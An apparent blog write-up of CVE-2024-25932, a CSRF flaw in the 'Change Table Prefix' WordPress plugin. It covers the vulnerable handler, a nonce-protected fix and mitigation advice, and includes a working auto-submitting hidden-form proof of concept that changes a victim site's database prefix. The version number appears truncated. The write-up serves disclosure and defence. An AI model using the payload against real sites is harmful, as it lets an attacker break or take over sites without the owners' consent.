CVE-2024-25932 - How CSRF Left Change Table Prefix WordPress Plugin Wide Open (Full Exploit Walkthrough)

On February 2024, the cybersecurity community uncovered a serious Cross-Site Request Forgery (CSRF) vulnerability, tracked as CVE-2024-25932, in the popular *Change Table Prefix* WordPress plugin by Manish Kumar Agarwal. The plugin, which claims over 10,000 active installs, helps site administrators change database table prefixes to enhance security.

But instead, this vulnerability could allow an attacker to perform unauthorized actions—including changing critical WordPress database configuration—just by tricking an admin into clicking a bad link. Below, we break down how CVE-2024-25932 works, the impact, and how an attacker might construct a viable exploit.

> Vulnerable Versions: All up to and including v2. (as of February 2024)

What is CSRF anyway?

Cross-Site Request Forgery tricks someone’s browser into submitting a request to a vulnerable website in which they’re authenticated. So, if you’re logged into your WordPress dashboard, an attacker might be able to force your browser to submit actions—without your intent or consent—because WordPress “trusts” your request, thinking it came from you, the admin.

More Info:
- OWASP CSRF Explanation

About the Plugin

The Change Table Prefix plugin lets admins quickly change the $table_prefix used by WordPress, potentially thwarting some SQL injection and automated scans. A nice security tool—but ironically, the plugin didn’t include protection against CSRF in its core actions.

Vulnerable Function Snippet

Inside the main PHP file, the plugin registers a form handler for changing the table prefix. But that handler doesn’t check any CSRF tokens (nonces in WordPress):

if (isset($_POST['ctp_change_prefix'])) {
    // ... code that changes table prefix ...
}

This code blindly trusts any POST request. There’s no verification that the request came from a legitimate user action in the WP dashboard. In contrast, a secure WordPress form handler would look like:

if (isset($_POST['ctp_change_prefix']) && check_admin_referer('ctp_nonce_action')) {
    // Safe to process form!
}

This tells WordPress to check a special security token (“nonce”). The vulnerable plugin omits this.

How Can An Attacker Exploit CVE-2024-25932?

1. Target: A logged-in WordPress administrator who has the *Change Table Prefix* plugin installed (any version <= 2.).
2. Attack Method: The attacker tricks the admin into visiting a malicious page (by email, IM, malvertising, etc).
3. Exploit: The malicious page silently submits an HTML form to the plugin’s vulnerable endpoint, changing the DB prefix.

Here’s how an attacker might do it

<!-- This HTML can live on ANY attacker's site -->
<form action="https://victim-blog.com/wp-admin/tools.php?page=change-table-prefix"; method="POST" style="display:none" id="attackform">
    <input type="hidden" name="ctp_change_prefix" value="1" />
    <input type="text" name="new_prefix" value="hacked_" />
    <input type="submit" />
</form>
<script>
window.onload = function() {
  document.getElementById('attackform').submit();
};
</script>

As soon as the admin visits the attacker's page while he's authenticated in WP, the browser sends a POST request to the plugin’s change handler, changing the table prefix.

Next page load, WordPress will break or act weird until the database is manually fixed.

- Or, with more advanced exploit, the attacker could combine this with other vulnerabilities to obtain full site control.

Denial of Service (DoS): Changing the table prefix may break the entire site, causing downtime.

- Security Bypass/Privilege Escalation: Attacker could move toward database tampering or combine with other bugs for more damage.

Real-World Scenarios

- Mass Defacements: Automated CSRF campaigns sent to thousands of admins could “brick” sites en masse.
- Multi-Bug Chaining: If the attacker knows of SQL injection issues elsewhere, changing the prefix could help evade security scanners or exploit unpatched weaknesses.
- Phishing: The attacker only needs a convincing email (“You have a comment pending, click here!”) to trick admins.

If You Use Change Table Prefix plugin

- Immediately update to a patched version (if/when available).

If no patch: deactivate or uninstall the plugin.

- Restore broken sites: reset the WordPress database table prefix manually using tools like phpMyAdmin.

If you’re a plugin developer

- Always use WordPress nonces for all critical actions in admin forms.

Final Thoughts: Lessons Learned

CVE-2024-25932 is a textbook example of how a useful plugin can dangerously backfire when it skips even basic security protections. If you’re running WordPress, it’s a warning sign: always update your plugins and check the reputation & code quality of anything that touches your site configuration.

Remember: Security is a chain, and only as strong as its weakest link.

*Written by a cybersecurity researcher for exclusive use. Please cite or share responsibly.*

Timeline

Published on: 02/29/2024 01:44:17 UTC
Last modified on: 02/29/2024 13:49:29 UTC